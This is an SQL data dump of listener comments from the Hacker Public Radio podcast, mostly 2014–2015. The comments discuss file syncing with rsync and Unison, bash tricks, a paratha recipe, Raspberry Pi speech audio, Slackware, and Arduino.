(988,1640,'2014-11-18 08:06:10','johanv','Thank you for explaining this','Hi,\r\nThank you for this informative episode. Now I actually have a clue about how these encryption algorithms actually work.','2017-09-09 07:41:25'),
(989,1640,'2014-11-18 20:03:40','Kevin O\'Brien','You\'re welcome','Glad you liked it johanv. They are fun to do, and I am working on some more.','2017-09-09 07:41:25'),
(990,1641,'2014-11-18 08:31:49','Mikael','','Nice episode, Johan. Some great points made. I enjoyed it very much.','2017-09-09 07:41:25'),
(991,1642,'2014-11-18 19:20:46','Mike Ray','MaryTTS, clipping','Great episode, but does anyone really think the serious clipping on the MaryTTS intro makes it more tolerable than eSpeak?  It is so badly clipped I could hardly understand every word','2017-09-09 07:41:25'),
(992,1643,'2014-11-20 20:03:01','0xf10e','','Have you ever tried `rsync --recursive ~/LocalFolder/. you@server:/home/you/RemoteFolder/.`?\r\nThe \'/.\' tells `rsync` \"this directory\" and combined with \'--recursive\' (or an option enabling \'--recursive\' like \'--archive\') you can easily (r)sync a directory with all possible filenames without worrying about \"extensions\".\r\nWon\'t create the target directory but works nicely if it\'s already created.\r\n\r\nAnd there\'s actually a text/console interface for unison (package \"unison240-text\" on Fedora 20) so you /can/ initiate a sync without the GUI ;)','2017-09-09 07:41:25'),
(993,1643,'2014-11-21 21:57:47','Frank','Two supplements on Unison','Unison is really neat, I&rsquo;ve been using it for a long time now to sync between several machines. I would like to make two additions to your explanations.\r\n\r\n1) Unison in fact does *not* need the GUI installed. To set up the profile, you can also use an editor with the help of the (admittedly longish) documentation. And if used with the options -auto -ui text (it may select -ui text automatically, if no GUI is installed), it will show you the file list on the terminal and ask you for input there if needed.\r\n\r\n2) To be more flexible in what can be synced (and to address your problem of capitalisation), I use the following trick:\r\n- Create a new subdirectory in ~/.unison for each profile (I call them \"-links\" with  being the ssh hostname for the remote sync partner). This subdirectory becomes the root directory for your profile.\r\n- Fill that subdir with symbolic links to the items you want to sync. E.g. cd ~/.unison/laptop-links &amp;&amp; ln -s /home/myname/Documents docs\r\n- That way the directory to be synced can be called whatever you like, as long as the two symlinks have the same name on both sides.\r\n- This also allows me to sync single files within a directory (e.g. ~/.vimrc) but not the dir itself, and also to sync directories that don&rsquo;t share the same root, such as ~/docs and /mnt/data/music.\r\n- Lastly, to make it all work, you must tell Unison to follow the symlinks you made. For this, add this to the profile config:\r\nfollow = Regex [^/]+\r\nThe Regex (regular expression) simply matches any character that is not a slash, hence everything on the topmost directory level (until the first slash).\r\n\r\nCheers.','2017-09-09 07:41:25'),
(994,1643,'2014-12-04 22:16:44','bort','','hi fiftyonefifty\r\n\r\nthanks for your podcast on Unison.\r\n\r\none thing i would add to what you said is both backends need to be the *exact* same version.\r\n\r\nwhen i tried to get it working between two ubuntu machines (10.something and 12.something) they installed different versions by default and therefore wouldnt talk to each other.  It took me AGES to work out what i was doing wrong.\r\n\r\ncheers','2017-09-09 07:41:25'),
(995,1643,'2015-01-06 13:25:55','Ken Fallon','Workaround to my unison issues','On Fedora you can install different versions. So now I have the following versions installed.\r\n\r\nunison-2.13\r\nunison-2.27\r\nunison-2.40\r\n\r\nFirst I create the profile in unison-2.13, which fails to sync.\r\n\r\nThen I open the existing profile with unison-2.40 and it syncs.\r\n\r\nA hack.\r\n\r\nKen.','2017-09-09 07:41:25'),
(996,1647,'2014-11-29 20:04:24','Broam via 5150','','The recipe we used for Keema Paratha\r\n\r\nas taken from:\r\n\r\nBeranbaum, Rose Levy. 2003. The Bread Bible. New York, NY: WW Norton &amp;\r\nCompany, inc.\r\n\r\nISBN 0-393-05794-1\r\n\r\nRecipe is on page 232.\r\n\r\n\r\nNeeded equipment: (not in recipe, but it\'ll save you time)\r\n\r\nRolling pins, 1 per person is best\r\nClean counters or cutting boards\r\nTea Towels or Oiled plastic for covering dough\r\n        We usually go with the towels to cover.\r\nBrush suitable for use with butter\r\nSkillet (cast iron or nonstick), bigger is better\r\nAn extra skillet &amp; spice grinder if using whole spices\r\nTurner suitable for use on skillet\r\nCouple of mixing bowls\r\nMeasuring spoons\r\nStand mixer or food processor capable of mixing dough (or by hand)\r\nFood scale\r\n\r\n\r\n\r\n290g (2c) Whole Wheat Flour, as fresh as possible\r\n(alternately, equal parts Whole Wheat &amp; Unbleached All-Purpose Flour)\r\n6.6g (1t) salt\r\n11.7g (1.5t) dry milk\r\n177g (3/4c) water at room temperature\r\n\r\nThis makes one batch of dough. The filling recipe below fills two\r\nbatches of dough. (We made 4 batches of dough as you may recall.)\r\n\r\n(It is possible to swap half the water with scalded milk that has been\r\ncooled back to lukewarm. We did not do this; we used the dry milk.)\r\n\r\nThe recipe itself calls for a Food Processor or to do it by hand. We\r\nused a stand mixer, so this is somewhat from memory.\r\n\r\nWhisk together all of the dry ingredients first until well-blended. Then\r\nmix in the water. We mixed for about 5 minutes or so (the food processor\r\nsays 45 seconds; the hand method says 10-15 minutes). The dough will be\r\nsmooth, soft, and very slightly sticky. You should be able to handle it\r\neasily.\r\n\r\nLet the dough rest for 30 minutes to 3 hours.\r\n\r\n\r\nMEAT FILLING\r\nWe ended up using a lot more ground spices than whole spices. This is\r\nthe unmodified recipe in the book; it\'s more complicated than the\r\nsimplified version we used. Substituting ground &amp; dried spices is\r\neasier and more portable (we pre-mixed) but you lose flavor.\r\n\r\n28g (2T) of your favorite frying fat\r\nbay leaf\r\n3 whole cloves (or equivalent amount ground)\r\n1 cinnamon stick\r\n~142g (~1c) 1 medium onion, finely chopped\r\n2cm piece of ginger, peeled &amp; minced\r\n3 medium garlic cloves, minced\r\n1/2T coriander seeds (no weight noted)\r\n1/2T cumin seeds (no weight noted)\r\n1/2t ground turmeric\r\n1T plain yogurt (we often use strained (\"Greek\") yogurt)\r\n1T tomato sauce (we often use paste)\r\n\r\n454g (1lb) beef, preferably chuck (85% lean, 15% fat).\r\n        Too lean and the mixture is dry; too rich and you\'ll have to drain\r\nout flavor.\r\n\r\n1/8t ground mace\r\n        we substitute allspice, even though it\'s not similar at all.\r\n        You may just wish to double the nutmeg.\r\n1/8t ground nutmeg, preferably fresh grated\r\n5g (3/4t) salt\r\n1/2t cayenne pepper\r\n        recipe calls for 1/4 to 1/2. We recommend 1/2.\r\n1/4c water\r\n\r\n\r\nWhile the dough is resting, start the filling. It will keep 3 days,\r\nand this makes enough to fill TWO batches of dough.\r\n\r\nHeat frying fat over medium heat until hot.\r\nAdd bay leaf, cinnamon stick, and cloves.\r\nFry until the bay leaf gets a bit dark.\r\n(if not using whole spices, skip this step and jump right to the onion.)\r\n\r\nLower the heat (to low), add onion, ginger and garlic; saut&eacute; &amp; stir.\r\nIn about 10 minutes onion will darken to medium brown.\r\n\r\nWhile this is going on: Dry-roast coriander &amp; cumin seeds over medium\r\nheat about 2 minutes. They should smell fragrant. Allow them to cool,\r\nthen grind in your spice grinder. If not using whole spices, ignore\r\nthis section.\r\n\r\nAdd coriander, cumin, and turmeric to onion mixture, saut&eacute; for 2\r\nminutes; stir constantly. Add yogurt; stir 1 minute. Add tomato sauce;\r\nstir &amp; cook 3 minutes.\r\n\r\nAdd meat, raise heat to medium. Saut&eacute;, break up lumps with your\r\nspoon/spatula/turner, until meat is browned.\r\n\r\nAdd mace, nutmeg, salt, cayenne, and water. Lower heat to lowest\r\npossible setting. Cover. Simmer for 45 minutes. If all the water\r\nevaporates, add more a small amount at a time. The mixture should be\r\ndry when you are done.\r\n\r\nLet filling cool, then remove the bay leaf, cinnamon stick, and cloves\r\n(if you used whole spices. They are a pain to fish out; we tend not to\r\nuse whole spices for these three.)\r\n\r\n(Broam\'s note: also the cooking time is a bit much. We didn\'t let it\r\ngo 45 minutes; we cooked it on low until most of the water evaporated,\r\nthen let the mixture cool.)\r\n\r\n\r\n48g (1/4c) clarified butter / ghee\r\n        (Broam sez: You can substitute regular unsalted butter, or you can\r\nattempt to clarify it yourself, which is a bit labor intensive. Don\'t\r\nuse vegetable ghee, unless you\'re a vegan.)\r\n\r\n\r\nShape Dough:\r\nDivide dough into 8 even pieces; roll into balls. (The recipe has you\r\nroll into a long rope, then cut. This is not strictly necessary). Work\r\nwith one piece of dough at a time lest the others dry out.\r\n\r\nWith floured fingers, flowered rolling pin, and a floured surface,\r\nflatten the balls of dough and roll into a 12cm (5\") circle. Flour the\r\ndough lightly if it sticks. Once rolled out, brush the excess flour\r\noff. Brush the dough lightly with clarified butter, fold over, and\r\nbrush again. Fold over one more time.\r\n\r\nAfter all the balls are buttered and folded, roll them out again. The\r\nrecipe says that you should be able to roll these into an 18cm (7\")\r\nround but we have never gotten our dough that stretchy.\r\n\r\nPlace 1/4c of the meat filling on top of the dough. Take another piece\r\nand place it on top of the first piece. Fold the edges over 1cm (1/4\")\r\nand press to seal in the filling.\r\n\r\nFlip the filled parathas over and use the rolling pin very gently. The\r\nmeat should not come through the dough.\r\n\r\n(Broam says: Do not stack the parathas when finished. They\'ll stick\r\nand it\'s a *nightmare* to separate them.)\r\n\r\n\r\nFRY The Parathas\r\n\r\nHeat large skillet over medium-low.\r\n\r\nBrush pan with remaining clarified butter.\r\nPlace paratha in (you can cook a few at a time if they\'re small), fry\r\nfor 90 seconds. Brush surface with butter. Flip. Fry 60 seconds.\r\n\r\nThe dough may puff up a bit but will deflate when it\'s removed from\r\nthe heat. (Broam says: ours never do. YMMV).\r\n\r\n\r\nSERVE the Parathas\r\n\r\nCut into 4 wedges. Keep finished parathas warm in a low oven (\"warm\"\r\nsetting) covered with foil while you cook the rest. (You can stack\r\nthem here.)\r\n\r\nCan also be eaten at room temperature. Will keep overnight.','2017-09-09 07:41:25'),
(997,1648,'2014-11-27 18:23:23','Tom Rodman ','Thx for covering bash substring expansion','Enjoyed your podcast. Thanks for your work.  I\'ll\r\nhave to start using the substring feature.\r\n--\r\n\r\nAnother example:\r\n\r\nEx\r\n  $ forwork=Mustang\r\n  $ car=forwork\r\n  $ echo ${!car}\r\n  Mustang\r\n\r\nEx\r\n  $ set -- joy pain bliss; myargc=$#; echo ${!myargc}  \r\n  bliss\r\n  $ set -- joy pain bliss; myargc=$#; echo ${!$#}\r\n  bash: ${!$#}: bad substitution\r\n\r\nMore bash tips at:\r\n\r\n  https://TRodman.com/blog\r\n','2022-02-14 13:17:20'),
(998,1648,'2014-11-29 18:22:36','Mike Ray','Great stuff','Thanks for a great podcast Dave.  Learned some stuff I didn\'t know.\r\n\r\nI particulalry like:\r\n\r\necho ${var:?undefined}\r\n\r\nAnd, something I\'ve now incorporated into some scripts I have for conversion of one audio file type into another:\r\n\r\nMP3=${M4A%.m4a}.mp3\r\n\r\n\r\n','2017-09-09 07:41:25'),
(999,1648,'2014-11-29 22:41:45','Dave Morriss','Thanks Tom','Glad you enjoyed the podcast and found it useful.\r\n\r\nI didn\'t want this episode to go too deep into Bash, so I deliberately drew the line at dealing with indirect references and positional parameters. I was almost ready to cover indirection, but finally decided not to. Perhaps next time!\r\n\r\nYour example of \'echo ${!$#}\' failing is, I assume, because Bash performs just one scan for parameter substitutions. In this case, even if it performed two passes, this would resolve to \'echo ${!3}\' which returns nothing.\r\n\r\nI tried this:\r\n\r\n$ set -v -- joy pain bliss; myargc=$#; eval echo \\${!$#}\r\n\r\nwhich does do two passes. First time the backslash is dropped and  $# returns 3 and second time Bash executes  \'echo ${!3}\' which does nothing. It\'s not illegal this time, but is counter-intuitive.\r\n\r\nThis one returns \'bliss\':\r\n\r\n$ set -v -- joy pain bliss; myargc=$#; ind=myargc; eval echo \\${!$ind}\r\n\r\nBash is pretty cool!','2017-09-09 07:41:25'),
(1000,1648,'2014-11-29 22:54:04','Dave Morriss','Thanks Mike','This one was fun to do particularly because it helped to drum this stuff into my head.\r\n\r\nI find myself using the suffix removal trick quite often. For example, today I typed the following one-liner to make ImageMagick convert some JPEG files to PNG and reduce them to a more manageable size:\r\n\r\nfor f in P*.JPG; do convert $f -resize 640 ${f%.JPG}.png; done\r\n\r\nGlad you found it useful.','2017-09-09 07:41:25'),
(1001,1648,'2014-12-04 10:40:14','Jon Kulp ','','Geez just when I think I\'m pretty good at something, along comes Dave to show me a whole category of cool bash tricks that I never tried before. Thanks :) ','2017-09-09 07:41:25'),
(1002,1648,'2014-12-05 21:30:57','Dave Morriss','Thanks Jon','Glad you liked it. Thanks for the feedback :-)\r\n','2017-09-09 07:41:25'),
(1003,1648,'2014-12-10 19:32:11','musicpeace','Thanks Dave! &amp; also for Magnatune','This was a really interesting topic to hear over audio, and your notes are great.  Great that you mentioned your past podcast about Magnatune; Looks like a great distribution model for artists (&amp;music fans).  I look fwd to working through these, as well as other music apis like Soundcloud, as well as hearing your recent show about podcast/audio.  Peace ;','2017-09-09 07:41:25'),
(1004,1648,'2014-12-13 22:52:16','Dave Morriss','Magnatune','Yay musicpeace.\r\n\r\nGlad you liked the show. Yes Magnatune is great. John Buckman, the founder, is an impressive guy. The music really suits my tastes and is good value. I have a lifetime membership.','2017-09-09 07:41:25'),
(1005,1649,'2014-11-27 10:07:06','Steve Bickle','Great Episode','Mike, \r\n\r\nGreat episode, this is the kind of thing  I really like to hear on HPR. It\'s a shame that the BMC driver can\'t be fixed, especially since this bug has introduced an accessibility issue. I guess the driver in question is not open source though.','2017-09-09 07:41:25'),
(1006,1649,'2014-11-27 23:37:25','Mike Ray','Pi Accessibility','Hello Steve.  There is one guy at the Raspberry Pi Foundation who is aware of the problem and is going to try to get around to trying to fixing the sound driver.  But as it is not broken for most applications and only seems to badly affect this accessibility issue I guess it is low priority.  Personally I think using the GPU directly for tts is a good idea anyway as I have had all kinds of problems with ALSA and pulseaudio in the past\r\n\r\nI\'m now working on an Emacspeak server and then a speech-dispatcher module which also use my code library.\r\n\r\nI think speech-dispatcher might already be ok but I suspect it is because the sd espeak module has the audio chunk size set so high that the stuttering doesn\'t occur but it eats up RAM as a result.  My audio library is much leaner\r\n\r\nI\'m going to try to come up with an alternative to speech-dispatcher which will interface to Orca and run in a much smaller footprint.','2017-09-09 07:41:25'),
(1007,1649,'2014-11-28 16:26:35','Tony Wood','','Brilliant, Mike! I\'m most impressed.','2017-09-09 07:41:25'),
(1008,1649,'2014-11-29 17:10:33','Mike Ray','Over to you Tony','Hello Tony.  What\'s the subject of your first HPR podcast going to be?  Self-drive cars? I should explain that Tony has been kind enough to give me some lifts to our local Linux User Group in a car that almost, but not quite, drives itself','2017-09-09 07:41:25'),
(1009,1649,'2014-12-02 13:09:28','gigasphere','Thanks Mike!','Great episode Mike! It is really good to hear these kind of episodes. Also thanks for posting the links and how-to for us to do it ourselves. I had noticed the clipping recently whilst trying out espeak.\r\n\r\nI completely agree about your point on accessable terminals.','2017-09-09 07:41:25'),
(1010,1649,'2015-11-29 01:48:33','Steven','Question about your mods','Good evening, I have tried your mods to stop the stuttering, and so far it looks very good.  \r\n\r\nUnfortunately now eSpeak reads all the boot information as the computer boots.  Is there a simple way to stop espeak from saying all the boot information?','2017-09-09 07:41:25'),
(1011,1649,'2015-12-01 17:06:59','Mike Ray','Quiet boot','I\'m not sure why the boot messages should suddenly only start being heard when the audio code I wrote is employed.\r\n\r\nBut to silence them I think you can put \' quiet\' at the end of the single line in /boot/cmdline.txt, with no quote of course','2017-09-09 07:41:25'),
(1012,1651,'2014-12-01 01:25:53','Mike Ray','Comment about the RPI GPU in com news for November','Just listened to the com news for November.  I don\'t know what\'s been worse this month, 5150\'s snoring or ken Fallon\'s singing :)\r\n\r\nAbout the GPU on the RPI; it\'s actually a pretty powerful little device.  I think the GPU is every bit as powerful as the actual CPU.  It supports hardware graphics acceleration as well as audio rendering and I have had CD quality audio playing at the same time as TTS through my OMX code and it never misses a beat.  I can\'t speak for video though of course, but again I suspect it would manage pretty much anything any game can throw at it.\r\n\r\nBut then the last game I played was Duke Nukem 3D about fifteen years ago :)\r\n\r\nIt\'s also possible to split the RAM in different proprtions between the GPU and the CPU','2017-09-09 07:41:26'),
(1013,1651,'2014-12-01 14:45:26','Dave Morriss','Ken Starks\' Indiegogo campaign','I forgot to send Ken the link that was mentioned on the Community News when we were talking about Ahuka\'s show hpr1639 last month. This was a recording of Ken Starks\' talk at Ohio Linux Fest 2014. David Whitman also posted details of the campaign on the HPR mailing list on 2014-11-08.\r\n\r\nhttps://www.indiegogo.com/projects/deleting-the-digital-divide-one-computer-at-a-time\r\n','2017-09-09 07:41:26'),
(1014,1654,'2015-01-08 04:47:09','Klaatu','Very informative','This is the kind of show I love: hard facts provided as straight-forward information in plain english. Well done, sir!','2017-09-09 07:41:26'),
(1015,1656,'2014-12-08 18:24:07','Mike Ray','The Dave Morris National Audio Player Museum','Great show Dave.  Just a suggestion with how to fix the joystick on the iRiver...you can get aerosol cans of compressed air from camera shops and probably from the likes of Maplin as well.\r\n\r\nA blast of air into the little gaps around the joystick might shift the crud.\r\n\r\nI think the cans come with a little tube like the ones that are taped to the side of a can of WD40','2017-09-09 07:41:26'),
(1016,1656,'2014-12-08 21:28:51','p','','Strange you never tried the iRiver Clix2 which was an excellent player','2017-09-09 07:41:26'),
(1017,1656,'2014-12-09 16:13:57','Dave Morriss','Thanks for the feedback','Mike: Perhaps I should be charging admission to the museum :-)\r\nThanks for the compressed air idea. I have recently bought one of these but it never occurred to me to use it for the old iRiver. I\'ll be trying it soon.\r\n\r\np: I never followed up on the iRiver Clix2. It looks superb but was pretty expensive if I recall correctly. Also, it doesn\'t take Rockbox and seems to have issues with interfacing without the Windows software, if I understand the reviews correctly. I see they are available on eBay so I might pick one up to check it out. Thanks','2017-09-09 07:41:26'),
(1018,1656,'2014-12-10 21:22:37','p','','Should have said what an interesting podcast this was made in your usual laidback way.  The Clix2 works fine with Linux (you simply expose the file system using mtp - it has two modes of connection) which was one of the reasons I bought it; I dislike the idea of syncing preferring to copy files across manually.  I think it does come with some windows only software but I\'ve never used it.','2017-09-09 07:41:26'),
(1019,1656,'2014-12-13 22:17:16','Dave Morriss','iRiver Clix2','This device sounds really nice. I must lay my hands on one for my collection.\r\n\r\nI use MTP for my Samsung YP-Q1, mounting it with mtpfs, so this isn\'t a problem. I currently generate playlists for RockBox when I upload files, so I\'m hoping I can generate the same format files and put them somewhere for the Clix2 (assuming I find one).\r\n\r\nThanks again.','2017-09-09 07:41:26'),
(1020,1657,'2014-12-19 10:33:07','Dave Morriss','Thanks Jon, this is brilliant','This is an excellent episode and very useful.\r\n\r\nI too am a Gutenberg user and have been meaning to reformat some of the books I have downloaded. You have given me some great tips about how to get started.\r\n\r\nThanks','2017-09-09 07:41:26'),
(1021,1658,'2014-12-12 11:37:30','Daven','Thanks!','Thanks for mentioning my podcast and website. :-)','2017-09-09 07:41:26'),
(1022,1658,'2014-12-19 23:35:39','NYbill','Another podcast for the catcher. ','Ha, the Daily Knowledge Podcast is pretty neat. I\'ve added it to Beyondpod. \r\n\r\nThanks for the heads up.  ','2017-09-09 07:41:26'),
(1023,1659,'2014-12-18 22:27:58','NYbill','Ah it just clicked!','Hey Jon, we\'ve known each other for a while online. After OGGcamp 2013, in IRC, I couldn\'t place meeting you (in person) and asked, \"Did anyone introduce us?\" \r\n\r\nThey hadn\'t. \r\n\r\nBut, hearing this episode, I think I just put the face to the name.  You\'re the guy at the Fedora table! ;)\r\n\r\nCool, maybe I\'ll catch you at a future OGGcamp. I\'ll be sure to come over and say hello. ','2017-09-09 07:41:26'),
(1024,1660,'2014-12-12 22:14:36','Loomx','','Hi,\r\n\r\nThanks, I enjoyed listening :-)\r\n\r\nA minor correction: since 14.1 the iso is an isohybrid file, so you can use dd to put it straight onto a pendrive and install from that.','2017-09-09 07:41:26'),
(1025,1660,'2014-12-13 00:13:16','Mike Ray','Great episode','Thanks for a great show.  Slackware was the first distro I encountered in about 1997 or thereabouts, back when I could still see.\r\n\r\nI would like to get it going again but it is not at the front of the pack for accessibility.\r\n\r\nI have done what was suggested above and DDed the DVD ISO to a USB key and had a read.\r\n\r\nThere seems to be a kernel which supports speakup using hardware synths.  Luckily I have a laptop with a serial port and I collect old hardware synths.\r\n\r\nSo I have the tools I would need to get it up and running.\r\n\r\nI would like to create a talking version which will talk OOTB with a software synth; eSpeak.  The software speech kernel module is not currently included.\r\n\r\nOne question I have immediately is; why does my USB stick end up read-only and can I change that and still have it bootable?\r\n\r\nI guess this might be the first step towards getting a talking software speech version done\r\n\r\nThanks again.\r\n\r\nMike','2017-09-09 07:41:26'),
(1026,1660,'2014-12-13 09:28:02','Beni','Thanks guys','Hey all,\r\n\r\nThanks for you feedback.\r\n\r\n@Loomx interesting. For some reason it didn\'t work for me until I ran the scripts that makes it hybrid. Must have done something wrong. Maybe it failed for a totally different reason.\r\n\r\n@Mike I believe CD iso images are read only by design, no matter whether the medium they\'re copied to could be written on. There is another slightly less intuitive way to create a installation usb drive. There is a usb image here:\r\n\r\nhttps://mirrors.slackware.com/slackware/slackware-14.1/usb-and-pxe-installers/\r\n\r\nwhich can be copied to usb using the usbimg2disk.sh script. But you will have to copy the contents of the installation DVD over to the stick yourself to get a full installation medium.','2022-02-14 13:17:20'),
(1027,1660,'2015-01-08 04:46:06','Klaatu','slacker','Great overview of Slackware. I do think the hardest part about Slack is indeed not doing the research. By this, I mean one doesn\'t read the docs, or one doesn\'t go out and look for information when needed. Part of this, I think, is because that information isn\'t really being shouted out by every Linux news site one goes to, so one does have to go look for it a bit.\r\n\r\nBut https://docs.slackware.com is definitely a great resource, as are the sites of other Known Slackers.','2022-02-14 13:17:20'),
(1028,1663,'2014-12-25 13:38:23','dodddummy','BIT rss feed issues','I added the BIT rss feed to gpodder but new shows don\'t register.  Do I have to register for the rss to work?','2017-09-09 07:41:26'),
(1029,1663,'2014-12-25 19:02:43','Dave Morriss','Re: BIT rss feed issues','I asked Greg Greenlee and he pointed to https://www.spreaker.com/user/6698969/episodes/feed for the podcasts.\r\n\r\nHe said he was going to make this more plain on the BIT website.','2022-02-14 13:17:21'),
(1030,1664,'2014-12-20 09:12:35','0xf10e','Cool stuff ^^','Very nice start, looking forward to more!','2017-09-09 07:41:26'),
(1031,1664,'2014-12-22 15:10:11','Colin','Thanks Dave!','Hi Dave, good episode and very interesting. Like 0xf10e, I\'m looking forward to the next one.\r\n\r\nI followed the links on the slide rule and started to read about how it worked. Having never used one I was quite confused. Any chance of a slide rule tutorial?\r\n\r\nColin\r\n','2017-09-09 07:41:26'),
(1032,1664,'2014-12-22 19:10:31','Dave Morriss','Appreciate the feedback','Thanks 0xf10e and Colin. The next episode is currently being constructed.\r\n\r\nRegarding slide rules, my old Mathematics teacher would be rolling on the floor at the thought of my giving a tutorial I expect. However, I\'d quite like to have a go. I\'ll see what I can do.\r\n\r\nDave','2017-09-09 07:41:26'),
(1033,1665,'2015-01-18 12:30:21','Steve Bickle','What version of LibreOffice was the example created in?','Ahuka,\r\n\r\nThats a really clear explanation of pivot tables, I\'m sure I\'ll find a good use for these at some point. Thanks.\r\n\r\nWhen trying to create a pivot table on the sample sheet you provided, It resulted in #VALUE errors in the totals of the resulting table. So I updated to the latest version of LibreOffice. I still had the same problem. \r\n\r\nSo then I then use a clean sheet with the data-set from sheet 1 of your example, then pivot tables worked fine as you described. \r\n\r\nHence the question about what version of LibreOffice was the sheet created with?\r\n\r\nI ask because there may be a compatibility bug between versions that I should report.\r\n\r\nSteve','2017-09-09 07:41:26'),
(1034,1665,'2015-01-18 12:33:47','Steve Bickle','Last comment really belongs on ep 1655','OOPS!','2017-09-09 07:41:26'),
(1035,1665,'2015-01-19 19:48:00','Kevin O\'Brien','LibreOffice Version','It was 4.1.6.2. I know that is not the most current version, but I do\r\nthese in advance and schedule them out.','2017-09-09 07:41:26'),
(1036,1666,'2014-12-22 14:41:21','Mike Ray','Another great episode','Thanks for another great episode Gabriel.  I\'ve been looking forward to this one.\r\n\r\nI hope there are more in the series and I\'m particularly curious about sound rendering via the GPU','2017-09-09 07:41:26'),
(1037,1666,'2014-12-24 17:50:44','Gabriel Evenfire','Re: Another great episode','Thanks for the feedback, especially letting me know what you\'d like to hear next.  I greatly enjoyed your episode on how to fix the sound by sending directly into the driver.\r\n\r\nNow I may be wrong, but good use of the sound or GPU may first require me figuring out how to use the floating point unit, at least to use it well.\r\n\r\nTo be honest, it\'s an area that I\'ve learned very little about.  That makes it a great topic to explore, but it also means it may take me a bit longer to pull it together.\r\n\r\nCheers,\r\n -- Gabriel Evenfire','2017-09-09 07:41:26'),
(1038,1667,'2014-12-28 00:35:17','davi jordan','','We like Flatpress as it has so far not required that a database be used to set up like WP and the rest. Perfect for the RPi. ','2017-09-09 07:41:26'),
(1039,1667,'2015-01-01 04:56:43','Rill','T for the tip.hanks','Good to know. I haven\'t heard of this one.','2017-09-09 07:41:26'),
(1040,1672,'2015-01-04 12:31:12','Steve Smethurst','Correction','In the podcast I wrongly stated that both my computers use systemd.  Of course, Mint 17.1 installed on my laptop uses init.  The podcast is based on Fedora 20 installed on my desktop.  Sorry for any confusion.  ','2017-09-09 07:41:26'),
(1041,1672,'2015-01-04 15:54:48','Alison Chaiken','Thanks for informative episode','I\'m giving a talk this week (Jan 2015) on systemd and have made some slides that reinforce and complement yours:\r\n\r\nhttps://she-devel.com/systemd_talk.pdf\r\n\r\nI\'ve also posted the files for my demos, which I\'ve recorded.\r\n\r\nThanks for your hard work,\r\nAlison Chaiken','2022-02-14 13:17:21'),
(1042,1673,'2015-01-08 04:41:01','Klaatu','great episode!','Thanks for this great information about ZFS. I was really not clear on how to implement it, but it doesn\'t seem so scary now that you have explained the options. Thank you! \r\n\r\nGreat first-podcast-ever, by the way!','2017-09-09 07:41:26'),
(1043,1683,'2015-01-22 21:14:44','Epicanis','Timely information!','I\'m actually trying to get an \"audio adventure\" sort of project going myself, and up to this point I wasn\'t sure anybody was doing anything like it other than perhaps \"Welcome to Night Vale\".\r\n\r\nAll I\'ve gotten so far is an 80-second \"teaser\" I did on a whim just to see what it was like trying to blend in multiple bits of dialog, perform several voices, mix in sound-effects, and overlay music, which at least demonstrates to me that I\'m technically capable of producing something that doesn\'t suck horribly.  It\'s nice to hear that there are people still working in this art form in the modern era on the internet - at least if I can get going, your episode lets me know there are plenty of people who have a heck of a lot more skill and experience who I might be able to get advice from...\r\n\r\nNow I need to go back and listen to the previous episode of yours from this series!','2017-09-09 07:41:26'),
(1044,1683,'2015-02-27 16:56:13','Charles','Patronage as an alternative to marketplaces?','As a long time fan of audio dramas, I really enjoyed this podcast. So thank you for recording it.\r\n\r\nIn the podcast you discussed what it might take to have audio drama become a viable paying outlet of \"content\". You seemed to focus particularly on making audio drama a first class citizen in the existing marketplaces (e.g. Amazon or iTunes). That is certainly one way to go. However, those places are just retailers, and they retail what is already popular. I don\'t think you can actually count on them to innovate in this space.\r\n\r\nI wonder if a better way to develop a market for audio drama is to build your audience and provide an easy way for fans to pay for content. Crowd sourcing patronage seems to be getting some traction. Patreon, for instance, provides a platform for creators to reach their fans directly and for fans to directly compensate their favorite creators. Snowdrift coop is a platform that might suitable for creative commons style work (assuming it launches successfully). \r\n\r\nIt\'s still a heck of a lot of hard work, but if you followed a patronage model, the the hardwork of building a fan base won\'t get filtered by the business models of the retailers whose interest don\'t necessarily align with either the creators or the fans. Additionally, a patronage model can provide a base for successful creators to make inroads into the more traditional (mainstream) marketplaces.\r\n','2017-09-09 07:41:26'),
(1045,1687,'2015-02-04 07:29:45','Mark Waters','Thanks','Thanks for sharing your OPML ;)','2017-09-09 07:41:26'),
(1046,1690,'2015-01-23 07:07:11','Mike Ray','3v3','Good show.  Beat me to it...I have show notes for three shows about Arduino, just need to do the recordings.\r\n\r\nJust a note about 3v3 on the Arduino board.  This is not a typo; it is common practice in electronics to replace the decimal point with the unit.  So 3v3 is 3.3 volts, 2n2 stamped on a capactor or on a circuit diagram is 2.2 nano-Farads and 4k7 against a resistor on a circuit diagram is 4.7 kilohms.\r\n\r\nMy Arduino shows were going to be about the command-line tools available for programming.\r\n\r\nI will wait and see what your next show(s) contain so I don\'t duplicate your great efforts','2017-09-09 07:41:26'),
(1047,1690,'2015-01-23 16:21:26','Tcuc','Nice, great quality :-) ','Thanks for a good quality episode! I\'m studying electronics, and of like to say that this is very accurate ;-) and if you want to discuss terminology, please ask. I love to talk about electronics :-D ','2017-09-09 07:41:26'),
(1048,1690,'2015-03-20 06:05:44','Mirwi','Great show!','Heavily catching up, just listened yesterday.\r\n\r\nLoved it. It was entertaining to listen to you doing every single step and seeing you do it before my minds eye. I\'d never thought about describing it in such detail, but you have a point there. Surely there are a lot of listeners just starting out with this stuff and you pick them up right at the beginning, to lead them further on.\r\n\r\nThe 3V3 are sorted out by Mike, so let me comment on the \"speaker\". It\'s worth noting that whenever you say speaker, you actually mean \"buzzer\". The buzzer includes already some electronics to generate the tone, so we hear the beep. With a speaker (or headphone,...) on its own, you only will hear crackling sounds the moment you close or break the circuit. Due to the low resistance of the speaker coil, there can be a high current flowing, which might damage it. So when using a speaker, please add a series resistor or capacitor. \r\n\r\nRegards,\r\nMichael\r\n','2017-09-09 07:41:26'),
(1049,1691,'2015-01-27 22:09:32','mcnalu','Arduislack','Really enjoying this Klaatu. Very timely as I\'m getting my 10-year-old son into playing with his arduino and breadboard. Not only that, but we\'re using Slackware! So I\'m picking up lots of useful tips from this series.','2017-09-09 07:41:26'),
(1050,1691,'2015-01-29 18:47:35','archer72','','Very enjoyable show.  I would consider getting an arduino if I can find a use case for it.  Looking forward to the next show.','2017-09-09 07:41:26'),
(1051,1693,'2015-01-29 21:58:55','Dave','Great tutorial','That was great. I didn\'t know it was possible to write files outside the filesystem.\r\n\r\n','2017-09-09 07:41:26'),
(1052,1693,'2015-01-29 22:38:29','incandenza','My favorite so far','Awesome episode! Been listening to HPR for a few months now. This one was my favorite so far. I enjoy when as as listener I get to follow along on a deep dive into a particular command.  Learned a lot. Thanks CJ!','2017-09-09 07:41:26'),
